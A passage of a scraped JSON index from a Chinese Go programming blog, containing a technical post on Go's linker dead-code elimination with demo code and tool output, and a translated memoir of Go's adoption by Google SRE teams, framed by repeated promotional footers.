account快速注册和登录到平台并开启大模型体验之旅。\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/05/06/those-free-to-use-online-llm-services/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/those-free-to-use-online-llm-services-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/05/06/those-free-to-use-online-llm-services\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/05/06/those-free-to-use-online-llm-services\"\u003ehttps://tonybai.com/2024/05/06/those-free-to-use-online-llm-services\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e2022年底以\u003ca href=\"https://en.wikipedia.org/wiki/ChatGPT\"\u003eChatGPT\u003c/a\u003e为代表的大语言模型的出现掀起了人工智能应用的新浪潮。这些庞大的语言模型经过对海量文本数据的训练，能够理解和生成逼近人类水平的自然语言，在对话、问答、文本生成、代码编写等领域展现出了惊人的能力。\u003c/p\u003e\n\u003cp\u003e最初这种能力“垄断”在OpenAI公司的手里，世界各地的AI爱好者们为了能尽快拿到ChatGPT的使用账号，使出了浑身解数，国内朋友更是如此。\u003c/p\u003e","title":"那些可免费使用的在线大语言模型服务"},{"content":"\n本文永久链接 – https://tonybai.com/2024/05/05/dead-code-elimination-and-executable-file-slimming-in-go\n在日常编写Go代码时，我们会编写很多包，也会在编写的包中引入了各种依赖包。在大型Go工程中，这些直接依赖和间接依赖的包数目可能会有几十个甚至上百个。依赖包有大有小，但通常我们不会使用到依赖包中的所有导出函数或类型方法。\n这时Go初学者就会有一个疑问：这些直接依赖包和间接依赖包中的所有代码是否会进入到最终的可执行文件中呢？即便我们只是使用了某个依赖包中的一个导出函数。\n这里先给出结论：不会！在这篇文章中，我们就来探索一下这个话题，了解一下其背后的支撑机制以及对Go可执行文件Size的影响。\n1. 实验：哪些函数进入到最终的可执行文件中了？ 我们先来做个实验，验证一下究竟哪些函数进入到最终的可执行文件中了！我们建立demo1，其目录结构和部分代码如下：\n// dead-code-elimination/demo1 $tree -F . . ├── go.mod ├── main.go └── pkga/ └── pkga.go // main.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;demo/pkga\u0026quot; ) func main() { result := pkga.Foo() fmt.Println(result) } // pkga/pkga.go package pkga import ( \u0026quot;fmt\u0026quot; ) func Foo() string { return \u0026quot;Hello from Foo!\u0026quot; } func Bar() { fmt.Println(\u0026quot;This is Bar.\u0026quot;) } 这个示例十分简单！main函数中调用了pkga包的导出函数Foo，而pkga包中除了Foo函数，还有Bar函数(但并没有被任何其他函数调用)。现在我们来编译一下这个module，然后查看一下编译出的可执行文件中都包含pkga包的哪些函数！(本文实验中使用的Go为1.22.0版本)\n$go build $go tool nm demo|grep demo 在输出的可执行文件中，居然没有查到关于pkga的任何符号信息，这可能是Go的优化在“作祟”。我们关闭掉Go编译器的优化后，再来试试：\n$go build -gcflags '-l -N' $go tool nm demo|grep demo 108ca80 T demo/pkga.Foo 关掉内联优化后，我们看到pkga.Foo出现在最终的可执行文件demo中，但并未被调用的Bar函数并没有进入可执行文件demo中。\n我们再来看一下有间接依赖的例子：\n// dead-code-elimination/demo2 $tree . . ├── go.mod ├── main.go ├── pkga │ └── pkga.go └── pkgb └── pkgb.go // pkga/pkga.go package pkga import ( \u0026quot;demo/pkgb\u0026quot; \u0026quot;fmt\u0026quot; ) func Foo() string { pkgb.Zoo() return \u0026quot;Hello from Foo!\u0026quot; } func Bar() { fmt.Println(\u0026quot;This is Bar.\u0026quot;) } 在这个示例中，我们在pkga.Foo函数中又调用了一个新包pkgb的Zoo函数，我们来编译一下该新示例并查看一下哪些函数进入到最终的可执行文件中：\n$go build -gcflags='-l -N' $go tool nm demo|grep demo 1093b40 T demo/pkga.Foo 1093aa0 T demo/pkgb.Zoo 我们看到：只有程序执行路径上能够触达（被调用）的函数才会进入到最终的可执行文件中！\n在复杂的示例中，我们也可以通过带有-ldflags=’-dumpdep’的go build命令来查看这种调用依赖关系(这里以demo2为例)：\n$go build -ldflags='-dumpdep' -gcflags='-l -N' \u0026gt; deps.txt 2\u0026gt;\u0026amp;1 $grep demo deps.txt # demo main.main -\u0026gt; demo/pkga.Foo demo/pkga.Foo -\u0026gt; demo/pkgb.Zoo demo/pkga.Foo -\u0026gt; go:string.\u0026quot;Hello from Foo!\u0026quot; demo/pkgb.Zoo -\u0026gt; math/rand.Int31n demo/pkgb.Zoo -\u0026gt; demo/pkgb..stmp_0 demo/pkgb..stmp_0 -\u0026gt; go:string.\u0026quot;Zoo in pkgb\u0026quot; 到这里，我们知道了Go通过某种机制保证了只有真正使用到的代码才会最终进入到可执行文件中，即便某些代码（比如pkga.Bar）和那些被真正使用的代码（比如pkga.Foo）在同一个包内。这同时保证了最终可执行文件大小在可控范围内。\n接下来，我们就来看看Go的这种机制。\n2. 未用代码消除(dead code elimination) 我们先来复习一下go build的构建过程，以下是 go build 命令的步骤概述：\n读取go.mod和go.sum：如果当前目录包含go.mod文件，go build会读取该文件以确定项目的依赖项。它还会根据go.sum文件中的校验和验证依赖项的完整性。\n计算包依赖图：go build 分析正在构建的包及其依赖项中的导入语句，以构建依赖图。该图表示包之间的关系，使编译器能够确定包的构建顺序。\n决定要构建的包：基于构建缓存和依赖图，go build 确定需要构建的包。它检查构建缓存，以查看已编译的包是否是最新的。如果自上次构建以来某个包或其依赖项发生了更改，go build将重新构建这些包。\n调用编译器（go tool compile）：对于每个需要构建的包，go build调用Go编译器（go tool compile）。编译器将Go源代码转换为特定目标平台的机器码，并生成目标文件（.o 文件）。\n调用链接器（go tool link）：在编译所有必要的包之后，go build 调用 Go 链接器（go tool link）。链接器将编译器生成的目标文件合并为可执行二进制文件或包归档文件。它解析包之间的符号和引用，执行必要的重定位，并生成最终的输出。\n上述的整个构建过程可以由下图表示：\n在构建过程中，go build 命令还执行各种优化，例如未用代码消除和内联，以提高生成二进制文件的性能和降低二进制文件的大小。其中的未用代码消除就是保证Go生成的二进制文件大小可控的重要机制。\n未用检测算法的实现位于$GOROOT/src/cmd/link/internal/ld/deadcode.go文件中。该算法通过图遍历的方式进行，具体过程如下：\n从系统的入口点开始，标记所有可通过重定位到达的符号。重定位是两个符号之间的依赖关系。 通过遍历重定位关系，算法标记所有可以从入口点访问到的符号。例如，在主函数main.main中调用了pkga.Foo函数，那么main.main会有对这个函数的重定位信息。 标记完成后，算法会将所有未被标记的符号标记为不可达的未用。这些未被标记的符号表示不会被入口点或其他可达符号访问到的代码。 不过，这里有一个特殊的语法元素要注意，那就是带有方法的类型。类型的方法是否进入到最终的可执行文件中，需要考虑不同情况。在deadcode.go，用于标记可达符号的函数实现将可达类型的方法的调用方式分为三种：\n直接调用 通过可到达的接口类型调用 通过反射调用：reflect.Value.Method（或 MethodByName）或 reflect.Type.Method（或 MethodByName） 第一种情况，可以直接将调用的方法被标记为可到达。第二种情况通过将所有可到达的接口类型分解为方法签名来处理。遇到的每个方法都与接口方法签名进行比较，如果匹配，则将其标记为可到达。这种方法非常保守，但简单且正确。\n第三种情况通过寻找编译器标记为REFLECTMETHOD的函数来处理。函数F上的REFLECTMETHOD意味着F使用反射进行方法查找，但编译器无法在静态分析阶段确定方法名。因此所有调用reflect.Value.Method 或reflect.Type.Method的函数都是REFLECTMETHOD。调用reflect.Value.MethodByName或reflect.Type.MethodByName且参数为非常量的函数也是REFLECTMETHOD。如果我们找到了REFLECTMETHOD，就会放弃静态分析，并将所有可到达类型的导出方法标记为可达。\n下面是一个来自参考资料中的示例：\n// dead-code-elimination/demo3/main.go type X struct{} type Y struct{} func (*X) One() { fmt.Println(\u0026quot;hello 1\u0026quot;) } func (*X) Two() { fmt.Println(\u0026quot;hello 2\u0026quot;) } func (*X) Three() { fmt.Println(\u0026quot;hello 3\u0026quot;) } func (*Y) Four() { fmt.Println(\u0026quot;hello 4\u0026quot;) } func (*Y) Five() { fmt.Println(\u0026quot;hello 5\u0026quot;) } func main() { var name string fmt.Scanf(\u0026quot;%s\u0026quot;, \u0026amp;name) reflect.ValueOf(\u0026amp;X{}).MethodByName(name).Call(nil) var y Y y.Five() } 在这个示例中，类型*X有三个方法，类型*Y有两个方法，在main函数中，我们通过反射调用X实例的方法，通过Y实例直接调用Y的方法，我们看看最终X和Y都有哪些方法进入到最后的可执行文件中了：\n$go build -gcflags='-l -N' $go tool nm ./demo|grep main 11d59c0 D go:main.inittasks 10d4500 T main.(*X).One 10d4640 T main.(*X).Three 10d45a0 T main.(*X).Two 10d46e0 T main.(*Y).Five 10d4780 T main.main ... ... 我们看到通过直接调用的可达类型Y只有代码中直接调用的方法Five进入到最终可执行文件中，而通过反射调用的X的所有方法都可以在最终可执行文件找到！这与前面提到的第三种情况一致。\n3. 小结 本文介绍了Go语言中的未用代码消除和可执行文件瘦身机制。通过实验验证，只有在程序执行路径上被调用的函数才会进入最终的可执行文件，未被调用的函数会被消除。\n本文解释了Go编译过程，包括包依赖图计算、编译和链接等步骤，并指出未用代码消除是其中的重要优化策略。具体的未用代码消除算法是通过图遍历实现的，标记可达的符号并将未被标记的符号视为未用。文章还提到了对类型方法的处理方式。\n通过这种未用代码消除机制，Go语言能够控制最终可执行文件的大小，实现可执行文件瘦身。\n本文涉及的源码可以在这里下载。\n4. 参考资料 Getting the most out of Dead Code elimination – https://golab.io/talks/getting-the-most-out-of-dead-code-elimination all: binaries too big and growing – https://github.com/golang/go/issues/6853 aarzilli/whydeadcode – https://github.com/aarzilli/whydeadcode Gopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/05/05/dead-code-elimination-and-executable-file-slimming-in-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/dead-code-elimination-and-executable-file-slimming-in-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/05/05/dead-code-elimination-and-executable-file-slimming-in-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/05/05/dead-code-elimination-and-executable-file-slimming-in-go\"\u003ehttps://tonybai.com/2024/05/05/dead-code-elimination-and-executable-file-slimming-in-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在日常编写Go代码时，我们会编写很多包，也会在编写的包中引入了各种依赖包。在大型Go工程中，这些直接依赖和间接依赖的包数目可能会有几十个甚至上百个。依赖包有大有小，但通常我们不会使用到依赖包中的所有导出函数或类型方法。\u003c/p\u003e","title":"Go未用代码消除与可执行文件瘦身"},{"content":"\n本文永久链接 – https://tonybai.com/2024/04/24/go-journey-at-google\n2007年Go诞生于Google，2009年Google正式对外宣布了Go语言的开源！时至今日，距离Go开源已经过去了近15个年头了！Go在Google公司内部究竟是怎样的一个状态呢？前Google员工Yves Junqueira近期撰文从其个人所见所闻谈了Go在Google的历程！这里简单翻译，供大家参考！\n最近，Jeremy Mason和Sameer Ajmani撰写了有关使Go成为Google内部语言之一的传奇故事。Go目前是世界上第八大最受欢迎的编程语言（译者注：2024.4，Go已经攀升到第7位，见下图），并且仍在增长，因此人们有兴趣了解Go早期以及它是如何走到这一步的。\nGo在TIOBE排名升至第7(译者配图)\n我想我应该从SRE、框架开发人员和早期采用者的角度来写。我分享的所有信息都与谷歌已经公开记录的系统相关，所以我不认为我泄露了任何秘密。这个故事有一些重要的部分（例如：envelopei（译者注：不知道是什么鬼））我在其他地方没有看到提到过，所以我不会讨论它们。\n破冰：我在Google的Go编程简介 在Go公开发布之前我就开始关注它，当它发布时，我立即成为了它的粉丝和Google内部的早期用户。我喜欢它的简单性。\n我在核心库上做了一些工作，并且在社区中很活跃，早期经常帮助go-nuts邮件列表中的用户，并编写开源库。后来，我帮助组织了西雅图的Go Meetup，并与他人共同组织了备受喜爱的会议Go Northwest。\n据我所知，我在Google编写了第一个生产关键型工具，后来又用Go编写了第一个面向用户的服务。\n第一个是用于监控Google+ Bigtable服务器运行状况的服务。这是我作为SRE的工作之一。Bigtable拥有有关每个tablet性能的详细内部统计数据，但有时我们需要了解为什么某个tablet如此过载以及系统其他地方发生了什么，以便我们能够了解根本原因。我们需要随着时间的推移收集这些数据并进行分析。因此，我构建了一个爬虫，可以检查数千台服务器并在全局仪表板中显示详细的统计数据。\n2011 年，Andrew Gerrand在接受The Register采访时提到了这项工作。他当时向我证实，这指的是我的项目。我很兴奋！他在采访中这样说道：\n谷歌有管理应用程序和服务的人员，他们需要编写工具来抓取几千台机器的状态并聚合数据，”他说。“以前，这些操作人员会用Python编写这些内容，但他们发现Go在性能和实际编写代码的时间方面要快得多。”\nGo的运行速度和编写速度确实更快。最重要的是，使用起来很有趣。它让我更有效率，所以我迷上了Go！\n低级库：节点身份验证和RPC 当Go启动时，它无法与Google的内部基础设施通信。\n首先，团队必须构建一个基于proto buffer的stubby RPC 系统。这需要实现LOAS来加密和验证与远程节点的通信，并使用Chubby 进行名称解析（类似于kubernetes中使用的etcd）。\nStubby和Chubby是出了名的复杂。Stubby需要一个复杂的状态机来管理连接，但大部分繁重的工作都是由Chubby完成的，即使Borg 节点耗尽CPU，或者因为有人正在运行map reduce而占用了所有机架的交换机带宽而导致暂时的网络断开连接，Chubby也需要提供一致的world view，这很容易陷入死锁或可靠性问题。\n根据海勒姆定律，系统的所有可观察行为都将取决于某人，因此团队必须确保与现有生产网络预期的行为完全匹配，并注意极端情况。例如，众所周知，健康检查很容易出错，不应该太严格，否则当网络的一部分暂时过载或与另一部分断开连接时，它们会为级联故障敞开大门。必须实现的其他的分布式系统功能，例如backend subsetting和负载均衡。我们需要诊断何时出现问题，因此很早就添加了日志记录和指标库。\n为了找到要通信的host:port，服务使用Chubby进行名称解析(name resolution)。它作为少量数据的完全一致的存储系统，其最常用的功能是解析BNS 地址 – 类似于你今天在kubernetes中使用etcd看到的功能。\n系统使用Stubby协议向其他服务发送数据并从其他服务接收数据。在Stubby（如gRPC）中，消息使用proto buffer wire format进行编码。使用反射在运行时创建proto buffer有效负载会太慢并且占用大量资源。工程师还会错过来自强类型系统的反馈。出于这些原因，谷歌为所有语言使用了生成代码库。幸运的是，proto buffer与语言无关。团队只需为现有构建系统逻辑编写Blaze 扩展，瞧，我们就为所有内部RPC服务提供了高质量的客户端库代码。\n奇怪的是，为另一种语言生成代码会产生少量的增量构建时间成本，而Google拥有成千上万的RPC服务。因此，我们决定每个RPC服务的所有者必须选择允许构建系统为其特定服务生成Go代码。虽然有点官僚主义，但随着时间的推移，我们看到数千个CL（谷歌的等效Pull请求）飞来飞去，将Go添加到每个服务的生成代码集中。这对于我们的社区来说是一个愚蠢但有趣的进度衡量标准，因为我们可以计算代码库中“启用 Go”标志的实例数量。\n影响全局Master选择和Bigtable引流执行 作为这些早期库的早期采用者和专注于生产系统的工程师，我能够了解内部系统的工作原理。我帮助调试并解决了许多奇怪的问题。随着时间的推移，我获得了构建系统来自动化运维SRE工作的信心。注意到我们的服务中大多数面向用户的中断发生在存储层（Bigtable 或 Colossus），我产生了创建一个控制系统的想法，该系统可以监视Bigtable分区的运行状况，并在检测到问题时在GSLB中小心地清空它们。当时，当发生中断时，SRE会进行分页，在确认这是存储问题后，他们会简单地清空集群并返回睡眠状态。\n我想用适当的控制系统取代这个手动whackamole。抽取流量可能会导致级联故障，因此这是一项危险的操作。当时，大多数SRE不想在自动化系统中冒这种风险。幸运的是，我有一个很好的团队。他们仔细审查了我的提案，提供了有关潜在故障模式的大量反馈，我们最终提出了一个我们有足够信心的设计。我们需要仔细聚合来自不同监控系统的信息（这可能会失败或提供不正确的数据），使用全局负载均衡器安全地离开集群，然后最终在Buganizer 中开具ticket，以便待命的SRE在工作期间进行处理。\n系统需要多个副本始终处于运行状态以对中断做出反应，但一次只有一个副本保持活动状态至关重要。为了支持这一点，我为Go编写了一个全局“主选举(master election)”库，它将确保系统的单个副本一次处于活动状态。它使用全局Chubby锁服务来提供一个高级库来告诉应用程序开始运行或在无法证明我们持有“全局锁”时自行关闭。\n为了支持这项工作，我还到处编写了一些小实用程序，并与Go团队合作修复错误。我报告了我发现的问题，他们修复了这些问题。\n当时，Go团队的重点是外部用户。他们所有的注意力都集中在发布Go 1.0上。这是一个资源很少的小团队，但他们的“秘密武器”是他们是杰出的工程师，而且团队非常高效。不知何故，尽管针对内部用户的支持时间非常有限，但他们还是很好地完成了支持工作。内部邮件列表非常活跃，谷歌员工大多在业余项目中使用Go，但Go团队采用了非常强大的内部流程来使事情顺利运行。他们仔细审查了每个人的代码，并帮助建立了强大的内部代码质量文化。每当他们发布新的Go候选版本时，他们都会使用新版本重建所有内部项目并重新运行我们的测试以确保一切正常。他们总是以正确的方式做事。\n生产中JID代理部署的最初洞察 几个月后，我在Google用Go编写了第一个面向用户的服务。我所说的面向用户的意思是，如果它停止工作，许多面向用户的产品将停止工作。这是一个简单的RPC服务，但所有Google消息服务都使用它。\n该服务根据从另一个RPC服务获取的内部用户ID将数据与JID格式 相互转换。该服务很简单，但规模很大，当时每秒执行数十万个请求。它对于为Android、Hangouts和其他产品提供支持的Google消息服务核心至关重要。\n这次迁移是Google Go的一个非常重要的测试平台。重要的是，它为我们提供了一个令人难以置信的基础来比较Go与其他生产语言（特别是 Java）的性能。该服务正在取代难以维护的基于Java的服务（不是因为Java，而是因为其他原因），因此我们使用实际生产流量同时运行这两个服务，并密切比较它们的性能。\n我们从第一个大规模实验中吸取了重要的教训：Go使用比Java更多的CPU内核来服务相同的流量，但垃圾收集(GC) 暂停非常短。作为一个努力减少GC暂停以改善面向用户的服务的尾部延迟的SRE，这是非常有希望的。Go团队对这个结果很满意，但他们并不感到惊讶：Go只是在做它设计的事情！\n事实上，几年后，当SRE领导层正式审查Go的生产就绪情况并要求Go团队确保Go具有良好的GC性能时，我认为这很大程度上只是形式上的。Go很早就证明了Go具有出色的GC性能，并且多年来它不断变得更好。\n遇到内部库缺失的情况 在早期，在Flywheel之前，在dl.google.com 服务之前，在Vitess之前，Go被Google的大多数工程师忽视了。如果有人想向用户交付产品，他们首先必须编写基本构建块，让他们连接到谷歌的其他服务。对于大多数人来说，这是不可能的。\n锁服务（chubby）和RPC系统（stubby）的底层库相对较快地出现（同样，Go团队非常优秀），Google最重要的库是与我们存储系统的接口：Bigtable、 Megastore、Spanner、Colossus。如果你想读取或写入数据，你基本上还不能使用Go。但是，慢慢地，Go团队（有时与核心基础设施团队合作）开始应对这一挑战。\n他们最终一一为Bigtable、Colossus甚至Spanner 创建了库（不是Megastore，因为它很大程度上是一个被Spanner 取代的库）。这是一项重大成就。\nGoogle的Go 使用量仍然有限，但我们的社区正在不断壮大。我在Google开设了第一门官方的Go编程简介课程，并帮助位于苏黎世的Google员工找到了可以使用Go进行工作的有趣项目。大约在这个时候我终于获得了Go的“可读性”(译者注：这似乎是Go团队对代码review者资格的一种认可)，后来加入了Go可读性团队。\n需要站点可靠性工程师来指导应用程序功能 Go中缺少的另一件事是与生产相关的功能，我们多年来了解到这些功能对于生产团队来说是必需的。也就是说，如果你想运行大型系统而不需要一直处于运维和救火模式。\n每当发生中断并诊断根本原因时，随着时间的推移，我们会了解到系统中应该改进的弱点。目标是减少停机和运维开销。很多时候，为了使系统更加可靠，我们必须对应用程序运行时进行更改。我们很难理解我们需要观察和控制系统以使其真正可靠的细节深度。\n例如，我们需要确保，除了记录传入请求之外，应用程序还应该记录有关该操作中涉及的传出请求的详细信息。这样，我们就可以确定地指出，比如说，我们的“CallBob”服务在上午 11:34 变慢是因为“FindAddress”调用的延迟增加。当我们操作大型系统时，我们不能满足于猜测工作和弱相关性。有太多的转移注意力和根本原因查找工作需要处理。我们需要对原因有更高的确定性：我们希望看到失败的特定请求确实经历了高延迟，并排除其他解释（即：未触发缓慢的 FindAddress 调用的传入请求不应失败）。\n同样，多年来我们注意到SRE的大部分时间都花在团队之间的协调上，以确定一个服务每秒应发送到另一个服务的确切连接数和请求数，以及如何准确建立这些连接。例如，如果多个服务想要连接到后端，我们希望清楚哪些节点正在连接到哪些其他节点。这称为后端子集化(backend subsetting)。需要仔细调整，考虑整个系统的健康状况，而不仅仅是一个节点或一对节点的健康状况，而是整个网络的健康状况。太大的子集会导致资源占用过多，太小的子集会导致负载不平衡。因此，随着时间的推移，SRE团队开始帮助维护用于与其服务通信的客户端库，以便他们可以检测正在发生的情况，并保留对其他节点与其系统通信方式的一些控制。\n揭开魔法：Go服务器工具包 SRE共同拥有客户端库的模型在实践中运行得非常好，随着时间的推移，我们了解到向这些库添加流量和负载管理是一个好主意。\n当你的系统开始过载时，你会如何处理传入的RPC？ 你应该将这些请求保留在队列中，还是立即拒绝它们？ 你应该使用哪些指标来确定你的系统是否过载？ 当系统的太多部分认为它们过载时，如何避免进入级联故障？ Alejo Forero Cuervo 在SRE书籍章节“处理过载”中写了一些经验教训，值得一读。我们一一向库中添加了谨慎的逻辑，以根据经验和内部传感器自动设置这些参数。\n在《不断发展的SRE参与模型》中，我的前同事 Ashish Bhambhani和我的前老板Acacio Cruz解释说，我们最终发展了SRE参与模型，以包括服务器框架(server framework)的工作和采用。该模型使SRE能够直接影响系统在细微差别领域的行为，这得益于我们丰富的现场经验。\n我和我的SRE团队希望将这些功能引入Go，但它们对于Go团队来说太过奇特和专业，无法处理。我设立了一个20%的项目（后来变成了一个全职项目），并招募了一群愿意做出贡献的经验丰富的工程师。我飞往纽约，会见了一位非常出色的Go团队成员，我们共同努力为Go中的“服务器框架”构建了路线图。\nGo团队一开始不太愿意接受我们的方法。整个“框架”概念对他们来说有点危险。这可能会成为一场宗教战争，但Go团队花时间详细解释了他们担心的原因。Sameer尤其具有一种不可思议的能力，能够用技术术语反思和解释为什么他认为某件事以某种方式比另一种方式效果更好。\nSameer强烈认为，Go不应该有不一致的开发人员体验，无论是内部还是外部，无论是否有“框架”。如果Google有不同的方法来构建Go应用程序，那将对内部Go社区造成损害。与他的担忧一致，我们的20%人组成的乌合之众团队竭尽全力确保我们的“框架”感觉更像是另一个库，而不是一个框架，并且它不会为Go引入不同的编程模型。目标是通过简单的库导入来引入我们的可靠性功能。如果你使用我们的库包装你的Go HTTP或Stubby服务器，所有内容在代码中看起来都一样，但你神奇地获得了开箱即用的日志记录、检测、负载卸载、流量管理，甚至每请求级别的实验性支持。\n为了创建这个让服务变得更好的神奇库，我们必须对Google的内部RPC库甚至构建系统进行重大更改 – 以使我们的框架团队能够为RPC系统创建任意“扩展”，从而无需任何操作即可无缝运行，并避免接收和发送请求时产生显着的性能开销。\n结果是值得的。效果非常好。我们的项目使服务变得更容易管理，而无需强加与Go团队想要的不同的编程风格。为了避免混淆，我们将其称为服务器“工具包”，它成为在Google构建生产就绪系统的正确方法。人们经常在他们的LinkedIn个人资料中引用我们的内部服务器框架:)。它被称为Goa，不要与不相关的外部Goa 框架混淆。以下是某人LinkedIn个人资料中的示例：\n凭借其生产就绪功能，我们的Go工具包消除了Go内部增长的主要障碍。工程师现在可以确信他们的Go项目的性能与旧的Java和C++项目一样好，并且可调试。也就是说，增长还没有完全发生。Go需要一个杀手级用例才能在Google流行起来。\nGo在多个SRE团队中的采用 当时，我所在的SRE团队在Google具有特殊地位，即社交SRE团队。我们在SWE和SRE都有出色的工程师和出色的管理人员。所以我们能够以正确的方式做事。一些SRE团队正在追尾救火，但我们有幸能够正确地进行工程设计。这创造了一个良性循环，我们在问题变得严重之前不断解决问题，这意味着我们有时间进一步优化运维，等等。\n结果，我们的SRE团队编写了很多有用的代码。像我的高级工程师同事一样，我帮助人们找到要做的事情，因此我帮助启动了许多早期的Go中与生产相关的工具。如果其中一个工具发现有问题，它会自动、安全地从整个Bigtable集群中删除流量。\n还有其他与流量和负载管理相关的Java和C++项目，由其他高级工程师领导。这种创新环境吸引了人才，我们不断取得良好的成果，因此我们的SRE团队不断壮大。\n我们的工程总监Acacio Cruz（负责我们团队以及山景城的同事所发生的许多积极的事情）非常关注工程效率：我们是否将工程时间用于最有影响力的事情？他明白标准化可以提高效率，而且他看到我们的工程师很高兴并且富有成效。他的想法是推动Go成为我们团队中任何自动化的首选工具。该建议是避免使用Python并使用Go来编写生产工具。令我惊讶的是，我的队友没有人反对。这加速了Go在我们的社交SRE团队中的使用，很快我们区域之外的人们就注意到了。\n核心库、服务器框架、成功的生产工具和围绕Go的社交SRE标准化——它们都促成了人们对Go正在成为Google的一种严肃语言的看法的改变。\n与此同时，SRE已经看到了几代用Python编写的工具，这些工具运行得非常好，但随着时间的推移变得非常难以维护。Google SRE喜欢Python，我们编写了大量的Python代码。不幸的是，当时缺乏类型和编译时语法错误检查导致了许多难以修复的问题：\n当你从事其他人启动的项目时，该项目可能有也可能没有良好的测试覆盖率。为不是你编写的代码添加测试是很困难的。你并不真正知道正在使用什么以及如何使用。所以你最终会测试太多的东西或测试太少的东西。在生产关键型工具中，我们在进行更改时不能冒险。\n当时，人们通常一会儿编写代码，一会儿运行测试。如果你在运行测试时才意识到有语法错误，也许你已经将上下文切换到执行其他操作，所以现在你必须返回并修复它。这会浪费时间并增加不确定性。\n随着越来越多的SRE开始用Go编写自动化，很明显这些团队很高兴并且富有成效，并且不太可能陷入难以维护的代码中。人们开始意识到，Go项目更容易发展和维护，而这不仅仅是这些项目更新、更干净或设计得更好的结果。\nSRE领导层注意到了这种影响，并决定采取行动并在组织内进行广泛的沟通：SRE团队最好使用Go进行与生产相关的项目，并避免使用Python。我不知道这在谷歌现在是否被视为独裁，但当时我认为这感觉像是整个组织范围内良好的沟通和决策。\nGo生产平台和爆炸式增长 此后事情进展得很快。我们创建了一个从早期就对Go提供强大支持的生产平台，并用高级抽象取代了许多样板配置和重复过程。该平台出现了强劲增长，最终其他平台也出现了。Go和我们的服务器框架变得无处不在。我最终离开了谷歌，但我仍然快乐地记得那些日子。\n虽然我只是该语言的用户，但观看一个项目从零到成为前10名的编程语言的经历教会了我很多东西。我亲眼看到，一个强大的团队，周围有一个强大的社区，真的可以做出大事。\n观察Go的崛起 我在Google从事Go编程工作改变了游戏规则，让我对项目的技术方面以及世界著名团队的运作方式有了深入的了解。随着项目的进行，我可以清楚地看到Go如何使项目和团队扩展变得更容易。\nGo对简约设计的强调促进了统一编码，使新程序员可以轻松地集成到项目中，这一功能在时间紧迫的项目中特别有用。随着项目的发展，新的库和工具包也出现了，提高了它的受欢迎程度，并促进了包括Apple、Facebook和Docker在内的几家大型科技公司的采用。\n尽管Rust具有更为广泛和丰富的功能特性，但Go在各个行业的广泛接受表明，强大的软件不一定需要复杂。\n回顾过去，很明显，虽然我们的旅程充满了挑战，但每一次的曲折、每一次的调整和进步，都是塑造今天Go的关键。随着社区不断向前发展，我很高兴看到我们下一步的发展方向。\nGo gopher由Renee French设计，并根据 Creative Commons 3.0 属性许可证获得许可。\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – 